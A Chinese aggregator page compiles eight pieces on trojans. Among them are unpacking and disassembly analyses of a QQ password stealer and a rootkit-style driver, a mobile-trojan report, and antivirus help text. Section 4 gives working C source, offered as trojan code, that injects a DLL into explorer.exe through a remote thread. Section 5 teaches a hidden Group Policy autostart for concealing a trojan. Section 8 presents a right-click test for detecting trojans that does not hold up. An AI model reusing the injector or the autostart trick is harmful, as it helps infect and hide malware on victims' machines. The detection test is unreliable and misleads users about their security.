一个QQ木马的分析

时间:2022-06-30 05:51:30 其他范文 收藏本文 下载本文

一个QQ木马的分析(精选8篇)由网友“帅哥鸡”投稿提供,以下是小编为大家整理后的一个QQ木马的分析,仅供参考,欢迎大家阅读。

一个QQ木马的分析

篇1:一个QQ木马的分析

该文章已发表于《 X档案》0906期,后由原创作者友情提交到邪恶八进制信息安全团队,请著名原作者和原始出处

最近Blog人气疯狂下跌,就随便发篇垃圾文过来广告一下Blog,希望大牛们不要B4我.

就快要高考了,好长时间没上网了,今天好不容易抽出点时间,刚上QQ一个我不认识的小子就说要给我个黄站发布器,我一高兴就要了因为我在网吧,也没多想就直接运行了,结果刚运行文件一下子就没了,过了一会QQ又掉了,我心里一凉啊,哎,又是马啊,那就拿出来逆逆吧!

直接放到OD里,代码如下: 复制内容到剪贴板

代码:

0041D987 > 60 pushad

0041D988 E8 09000000 call 0041D996

0041D98D 05 D80100E9 add eax, E90001D8

用PEID来分析来看看,PEID说是Upack 0.3.9 beta2s -> Dwing的壳,记得这是个很古老的壳了,不管什么壳,看到第一句的pushad大部分就应该可以用ESP定律来脱了。为什么?翻翻以前的杂志,看看ESP定律的原理就行了。

在OD中按F8跟踪一下,只要看见ESP寄存器的数据变红,然后就执行命令hr esp,然后按F9让它运行起来,接着程序就被断在了这里: 复制内容到剪贴板

代码:

0041DB9C 61 popad

0041DB9D - E9 8F54FFFF jmp 00413031

这里的popad和pushad是一对,看到这个popad,基本说明我们成功了,我们跟随这个jmp跳过去就到了程序的OEP了,直接使用OD把它DUMP出来,再用PEID看看,说是Microsoft Visual C++ 6.0 [Overlay],已经没壳了,

我们用OD载入脱壳后的文件,F8跟踪几下后就可以看到如下代码: 复制内容到剪贴板

代码:

00405086 E8 65EBFFFF call

0040508B 85C0 test eax, eax

0040508D 75 13 jnz short 004050A2

刚开始先打开互斥(用来判断程序运行是否唯一),继续往下看: 复制内容到剪贴板

代码:

004050E9 E8 16EEFFFF call 00403F04

004050EE 8B55 EC mov edx, dword ptr [ebp-14]

004050F1 B8 B0764000 mov eax, 004076B0

004050F6 E8 05E0FFFF call 00403100

004050FB A1 B0764000 mov eax, dword ptr [4076B0]

00405100 E8 EFE2FFFF call 004033F4

这段代码用来得到一个随即字符串作为DLL的文件名

[1] [2] 下一页

篇2:一个驱动木马的分析

【文章作者】: prince

【作者邮箱】: cracker_prince@163.com

【作者QQ号】: 812937

【软件名称】: Trojan program Trojan-Downloader.Win32.Agent.bbb(卡巴命名)

【下载地址】: www.unpack.cn/viewthread.php?tid=8733&extra=page%3D1

【加壳方式】: 无

【编写语言】: ---

【使用工具】: IDA 5.0, WinDbg 6.6.007.5, VMWare 5.5.

【操作平台】: WINDOWS XP

【软件介绍】: 某木马or恶意软件的driver部分

【作者声明】: 水平有限,了解不多,仅作参考,

--------------------------------------------------------------------------------

【前言】

大概2个多星期前看到在Unpack『 病毒木马 』区Lvg同学发了这个样本,就用业余时间

看了看。本人纯属入门级选手,所以各位看到有什么解释的不妥或者直接让您喷饭地方,还请不吝赐教,

谢谢。

【详细过程】

由于是驱动文件,不考虑极端情况,就认为它没壳,直接IDA之。

入口:

.text:00010F5B ; *************** S U B R O U T I N E ***************************************

.text:00010F5B

.text:00010F5B

.text:00010F5B ; int __stdcall start(PDRIVER_OBJECT DriverObject,int)

.text:00010F5B public start

.text:00010F5B start proc near

.text:00010F5B

.text:00010F5B DriverObject = dword ptr 4

.text:00010F5B arg_4 = dword ptr 8

.text:00010F5B

.text:00010F5B push [esp+arg_4] ; RegistryPath

.text:00010F5F call sub_10966 ; 参数为:RegistryPath;

.text:00010F5F ; 修改SDT,hook关键函数

.text:00010F5F

.text:00010F64 test al, al ; 判断hook是否成功

.text:00010F66 jnz short loc_10F6F ; 成功则跳

.text:00010F66

.text:00010F68 mov eax, 0C0000001h ; 否则返回STATUS_UNSUCCESSFUL

(0C0000001h)

.text:00010F6D jmp short locret_10FD2

.text:00010F6D

.text:00010F6F ; ---------------------------------------------------------------------------

.text:00010F6F

.text:00010F6F loc_10F6F: ; CODE XREF: start+B j

.text:00010F6F push esi

.text:00010F70 push edi

.text:00010F71 xor edi, edi ; edi清零

.text:00010F73 xor esi, esi ; esi清零

.text:00010F75 inc esi

.text:00010F76 mov dword_1160C, esi ; dword_1160C = 1

.text:00010F7C mov dword_11608, edi ; dword_11608 = 0

.text:00010F82 mov dword_115FC, esi ; dword_115FC = 1

.text:00010F88 mov dword_115F8, edi ; dword_115F8 = 0

.text:00010F8E mov dword_11604, edi ; dword_11604 = 0

.text:00010F94 mov dword_11600, edi ; dword_11600 = 0

.text:00010F9A mov dword_11614, edi ; dword_11614 = 0

.text:00010FA0 mov Handle, edi ; Handle = 0

.text:00010FA6 call sub_10EFF ; 创建线程 - 设置注册表注册驱动和打开

dll和sys文件

.text:00010FA6

.text:00010FAB call sub_10C61 ; ZwCreateFile打开“SystemRoot”,判

断hook是否成功?

.text:00010FAB

.text:00010FB0 test al, al ; 利用返回值判断是否打开成功

.text:00010FB2 jz short loc_10FBC ; 打开失败则跳

.text:00010FB2

.text:00010FB4 push esi

.text:00010FB5 call sub_106B9 ; 用原始的NtCreateFile打开

.text:00010FB5 ; “SystemRootsystem32

driversesqyo.sys” 和

.text:00010FB5 ; “SystemRootsystem32ydljs.dll”并

保存句柄

.text:00010FB5 ; 目的是防止这两个文件被关闭和删除

.text:00010FB5

.text:00010FBA jmp short loc_10FC5

.text:00010FBA

.text:00010FBC ; ---------------------------------------------------------------------------

.text:00010FBC

.text:00010FBC loc_10FBC: ; CODE XREF: start+57 j

.text:00010FBC push [esp+8+DriverObject] ; DriverObject

.text:00010FC0 call sub_10D1B ; 如果出现什么问题则调用

IoRegisterDriverReinitialization

.text:00010FC0 ; 重新再来一遍,

狠...

.text:00010FC0

.text:00010FC5

.text:00010FC5 loc_10FC5: ; CODE XREF: start+5F j

.text:00010FC5 push edi ; Remove - edi = 0 (FALSE - 创建

hookRoutine)

.text:00010FC6 push offset NotifyRoutine ; NotifyRoutine - (监视函数)

.text:00010FC6 ; 该函数监视explorer.exe进程启动,跟

目标同时启动打开驱动、dll,写注册表等动作

.text:00010FCB call PsSetCreateProcessNotifyRoutine ; 监视进程创建及销毁

.text:00010FCB

.text:00010FD0 pop edi

.text:00010FD1 pop esi

.text:00010FD1

.text:00010FD2

.text:00010FD2 locret_10FD2: ; CODE XREF: start+12 j

.text:00010FD2 retn 8

.text:00010FD2

.text:00010FD2 start endp

************************************************************************

跟进sub_10966:

.text:00010966 ; arg_0

.text:00010966

.text:00010966 sub_10966 proc near ; CODE XREF: start+4 p

.text:00010966

.text:00010966 arg_0 = dword ptr 8

.text:00010966

.text:00010966 push ebx ; arg_0

.text:00010967 call sub_10857 ; 对一些常量字符串进行解码还原

.text:00010967

.text:0001096C xor ebx, ebx

.text:0001096E push ebx ; CSDVersion - NULL

.text:0001096F push offset BuildNumber ; BuildNumber

.text:00010974 push offset MinorVersion ; MinorVersion

[1] [2] [3] [4] [5] [6] [7]  下一页

篇3:什么是木马行为分析

木马行为分析是通过对流行木马病毒的行为进行分析,监控未知的木马病毒,抢在其对您操作系统进行破坏之前“扼杀”掉,当程序触发木马行为防御规则后,瑞星会弹出提示并询问用户处理方式,

如下图

出现此提示时,您可以参考以下操作:

如何对此功能进行【设置】?

您可以通过软件主界面上的【设置】--【电脑防护】--【木马行为防御】来设置个性化的保护。

篇4:一个嵌入式dll木马源码

一个嵌入式dll木马源码-06-08 03:39//A.exe

#include

#include

#include

#pragma comment (lib,“Advapi32.lib”)

int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)//函数头,呵呵,晕!

{

//我们说了要第一步要调用VirtualAllocEx函数在目标进程中分配内存

//那么我们就得找到目标进程的PID,我们假设把目标进程锁定为explorer.exe

//下面是获取explorer.exe的PID

DWORD pid; //声明PID

HANDLE hSnapshot = NULL;

hSnapshot=createToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);

PROCESSENTRY32 a;

a.dwSize = sizeof(PROCESSENTRY32);

Process32First(hSnapshot,&a);

do

{

if(strcmp(a.szExeFile,“Explorer.exe”)==0)

{

pid = a.th32ProcessID;//匹配,找到

break;

}

}

while(Process32Next(hSnapshot,&a)==TRUE);

CloseHandle (hSnapshot);//,找到了PID,善后

PWSTR pszLibFileRemote = NULL;//待会要作为传递的参数,(实际上是要存放我

//的DLL木马的空间)

HANDLE hRemoteProcess = NULL;

HANDLE hRemoteThread = NULL;

//下面这个OpenProcess 来打开目标进程的,参数的设置你可以理解成在问系统要对目标进程的权限

hRemoteProcess = OpenProcess(

PROCESS_QUERY_INFORMATION |PROCESS_create_THREAD | //允许远程创建线程

PROCESS_VM_OPERATION | // 允许远程VM操作

PROCESS_VM_WRITE, // 允许远程VM写操作

FALSE, pid);

char CurPath[256]; //用来存放当前路径

GetCurrentDirectory(256,CurPath);//获得当前的路径

strcat(CurPath,“zizai.dll”); //让zizai.dll的路径放入CurPath

//计算DLL路径名需要的内存空间,参考了JIURL的计算方法,强烈致谢

//SHOTGUN计算方法:int changdu = (1 + lstrlenW(pszLibFileName)) * sizeof(WCHAR);

int changdu = (strlen(CurPath)+1)*2;

WCHAR wCurPath[256];

MultiByteToWideChar(CP_ACP,0,CurPath,-1,wCurPath,256);

//调用VirtualAllocEx()函数在目标进程中分配内存

//注意是在远程进程hRemoteProcess的内存空间申请

pszLibFileRemote = (PWSTR)VirtualAllocEx(hRemoteProcess, NULL, changdu, MEM_COMMIT, PAGE_READWRITE);

//用WriteProcessMemory()函数向申请的内存中写入要注入zizai.dll的路径和名称,也就是参数

WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (PVOID) wCurPath, changdu, NULL);

//远程进程 //具体空间 //路径 //长度

//计算LoadLibraryW的入口地址,也就是远程线程的地址pfn ,用它来启动我们的DLL木马

PTHREAD_START_ROUTINE pfn = (PTHREAD_START_ROUTINE)

GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)), “LoadLibraryW”);//这里怎么会用到Kernel32呢?

//是因为LoadLibraryW函数是在kernel32.dll中定义的,就是用来启动DLL文件

//它只有一个参数,就是DLL文件的路径名(是木马DLL的绝对路径)

//利用createRemoteThread()在远程进程中创建一个线程,这个线程执行LoadLibraryW

//就实现了通过远程线程调用用户的DLL文件

//要把LoadLibraryW的入口地址代入

hRemoteThread = createRemoteThread(hRemoteProcess, NULL, 0, pfn , pszLibFileRemote,0, NULL);

return 0;

}

篇5:关于木马隐藏的一个新方法

大家所熟知的木马程序一般的启动方式有:加载到“开始”菜单中的“启动”项、记录到注册表的HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun项和HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersion[Run项中,更高级的木 马还会注册为系统的“服务”程序,以上这几种启动方式都可以在“系统配置实用程序”(在“开始→运行”中执行“Msconfig”)的“启动”项和“服务”项中找到它的踪迹,

另一种鲜为人知的启动方式,是在“开始→运行”中执行“Gpedit.msc”。 打开“组策略”,可看到“本地计算机策略”中有两个选项:“计算机配置”与“用户配置”,展开“用户配置→管理模板→系统→登录”,双击“在用户登录时运行这些程序”子项进行属性设置,选定“设置”项中的“已启用”项并单击“显示”按钮弹出“显示内容”窗口,再单击“添加”按钮,在“添加项目”窗口内的文本框中输入要自启动的程序的路径,单击“确定”按钮就完成了,

重新启动计算机,系统在登录时就会自动启动你添加的程序,如果刚才添加的是木马程序,那么一个“隐形”木马就这样诞生了。因为用这种方式添加的自启动程序在系统的“系统配置实用程序”是找不到的,同样在我们所熟知的注册表项中也是找不到的,所以非常危险。

通过这种方式添加的自启动程序虽然被记录在注册表中,但是不在我们所熟知的注册表的HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun项和HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersion[Run项内,而是在注册表的HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun项。如果你怀疑你的电脑被种了“木马”,可是又找不到它在哪儿,建议你到注册表的HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun项里找找吧,或是进入“组策略”的“在用户登录时运行这些程序”看看有没有启动的程序。

篇6:手机木马分析趋势报告

手机木马分析趋势报告

日前,360互联网安全中心发布了《201x年末最流行手机木马分析趋势报告》,报告中公布了201x年感染量最高的100款手机木马。其中,最为猖獗的色情类恶意应用在今年只占3%,而伪装成系统类应用的木马则占比高达54%。此外,报告还将这100款手机木马的七大恶意行为详细列举,以便网民小心提防。

图1:201x年末感染量Top100手机木马伪装类型分布

据报告显示,在感染量最高的100款木马中,安卓补丁和下载服务两款恶意木马占比高达11%,位列榜首,Setting Provider(设置服务程序)紧随其后,占比10%,更为猖獗的是,以Security Plugin(安全插件)为名隐藏在手机中的木马占比也高达8%。360手机安全专家分析,致使伪装成系统程序的木马增多的'原因是以此方法更容易进入手机,感染成功率更高,并且被卸载的几率更低。

此外,报告中还列出了该100款木马的七大恶意行为,包括私自下载、私自窃取隐私、释放恶意程序到系统目录、隐藏图标、恶意广告、阻止正常卸载、私发短信。其中私自下载、隐私窃取、释放恶意程序到系统目录的恶意行为位居前三,分别占比57%、37%和36%。

图2:201xTop100木马恶意行为统计

1、私自下载

手机木马伪装成系统应用私自下载的恶意行为占总体的57%,排名第一。其通过下载恶意插件、下载安装程序、下载推广应用,可以执行更多恶意行为,更主要的是,私自下载插件或APP,将直接威胁到用户的流量安全。

2、隐私窃取

隐私窃取占恶意行为总体的37%,手机木马在用户不知情的情况下会窃取手机型号、IMEI号、手机短信、通讯录、照片甚至是支付宝账号密码、网银账号密码等,极易造成手机用户隐私外泄,财产受损。

3、释放恶意程序到系统目录

手机木马获取Root权限后会释放恶意程序到系统目录,甚至替换掉正常系统文件,破坏手机系统,甚至能远程控制用户手机,直接威胁到手机的系统安全。

4、隐藏图标

同样会威胁到系统安全的还有“隐藏图标”的恶意行为。手机木马会刻意将图标隐藏,使恶意行为执行更为隐蔽,手机用户无法直接从桌面或应用程序中找到该应用,增加手动卸载难度。

5、恶意广告

恶意广告会通过插屏等方式强制弹出,遮挡手机屏幕,甚至无法关闭,严重影响手机用户的正常使用。

6、阻止正常卸载

“阻止正常卸载行为”是木马先诱导手机用户激活设备管理器,而后用户如果想卸载恶意程序,必须先手动取消激活设备管理器,但一般人并不了解如何操作,通过正常卸载APP方式无法删除恶意程序。

7、私发短信

私法短信是用户极为憎恶的一种恶意行为,虽然其占总行为的10%,但其会转发手机用户已有短信,或私自订制扣费业务,导致手机用户在不知情的情况下隐私外泄、话费被扣,造成动辄几百,甚至上千元的经济损失。

从报告中可以看出,201x年手机木马逐渐向系统类应用伪装,这无疑会使用户更容易遭受木马们私自下载、隐私窃取、释放恶意程序等恶意行为。在此提醒广大手机用户,需时刻堤防手机有何异常行为,一经发现,及时对手机进行查杀,以防后患。

篇7:最熟悉的陷阱 伪装QQ登录木马分析

先给大家看一张截图,相信所有网民都非常熟悉,

screen.width-333)this.width=screen.width-333“>

你有发现问题所在吗?

接下来,给各位展示一个全景,哦,估计会有人看出些端倪。

screen.width-333)this.width=screen.width-333”>

看到了吧,这是个木马程序,运行后和QQ登录一模一样,这个木马会被释放进QQ的安装路径下,文件名为qq .exe(注意QQ后面多了一空格),病毒还会替换QQ的快捷方式,后果就一目了然了吧。下次开机,你会发现QQ启动了,你习惯性的输入了QQ号和密码, 几分钟后,你的QQ就可能在另一个地方登录,这个QQ就不再是你的了。

该病毒运行后会伪装成逼真的QQ登录窗口,不小心输入的QQ号和密码会立即被盗。

该病毒的行为详细描述如下:

1. 建立目录c:\Recycled,图标为回收站的图标(正常的回收站名为Recycler)。目录下有Recycled.exe、Recycledbk.exe等病毒文件,这些文件都是系统隐藏属性。为了隐藏自身,目录下还有一个“文件免疫”文件、一个名为“文件免疫.”的文件夹,防止用户删除此目录。

2. 在每个盘下生成一个autorun.inf文件夹,文件夹下有一个“文件免疫”文件、一个名为“文件免疫.”的文件夹,防止用户删除此目录,还可以迷惑用户,让用户以为这些目录是某些软件生成的免疫文件夹,

其中,D:下的autorun.inf文件夹下有rundll32.exe,spiderNt.exe病毒文件。

每个autorun.inf\文件免疫.目录下有一个名为AQ的文件,这是病毒的配置信息。

3. 修改userinit启动项,追加病毒文件的路径。修改后的userinit键值为如下形式:

userinit.exe,c:\Recycled\Recycled.exe

4. 在QQ目录下释放一个病毒文件“QQ.exe ”,文件图标与QQ的图标相同,但没有版本信息和数字签名。(正常的QQ.exe有版本信息和数字签名,可以通过数字签名验证。)

在桌面上创建了一个QQ的AllUser链接C:\Documents and Settings\All Users\桌面\腾讯QQ.lnk,指向病毒释放的伪装QQ程序(C:\Program Files\Tencent\QQ\“QQ.exe ”)。

监视QQ程序的启动,当用户启动QQ.exe时,病毒会关闭QQ.exe程序,启动“QQ.exe ”病毒程序。病毒程序启动后创建的界面与QQ界面十分相似,并且有QQ木马扫描的选项和扫描进度条。

5. 通过伪造的登陆界面盗取用户的QQ账号,通过邮箱发送给病毒作者。

篇8:一键判断QQ有无木马

腾讯QQ2009 正式版 SP4:下载地址

很多朋友,电脑中了木马病毒,QQ号码很容易被盗,

一键判断QQ有无木马

一些高手说的错位输入密码虽然有防盗作用,但好是不保险。现在教大家一个很简单的判断QQ有无 木马程序的方法:“打开QQ登陆窗口”――“在QQ登陆窗口的密码处,点击鼠标右键”――如果电脑中没有木马就没有任何反应,如果有木马就会出现“粘贴” 或“从右向左的阅读顺序”等图标,这时候,你可千万不要登陆了

网络安全知识教育教案

网络安全知识培训心得体会

网络安全学习心得

练就火眼金睛 关闭包藏祸心的危险端口WEB安全

windows系统中隐藏驱动器的设置Windows安全

电脑卡的五个原因及相关解决方法

网络安全教案

如何解决CPU资源占用100%问题

关于木马隐藏的一个新方法

如何入侵FBI核心网络

一个QQ木马的分析
《一个QQ木马的分析.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【一个QQ木马的分析(精选8篇)】相关文章:

电脑新手常见电脑显示属性问题2024-01-02

企业网站后台安全防范的基本方法介绍2022-04-29

两个木马小知识2023-07-13

大学生安全教育总结2022-08-12

网络安全活动总结报告2023-06-01

网络安全作文600字2022-06-28

网络安全总结2022-05-07

内存不能存为“Read”有这么几种原因2022-05-07

介绍一下木马病毒的种类笔试题目2022-09-18

新手也能对付病毒:手工清除QQ播客2022-07-25

点击下载本文文档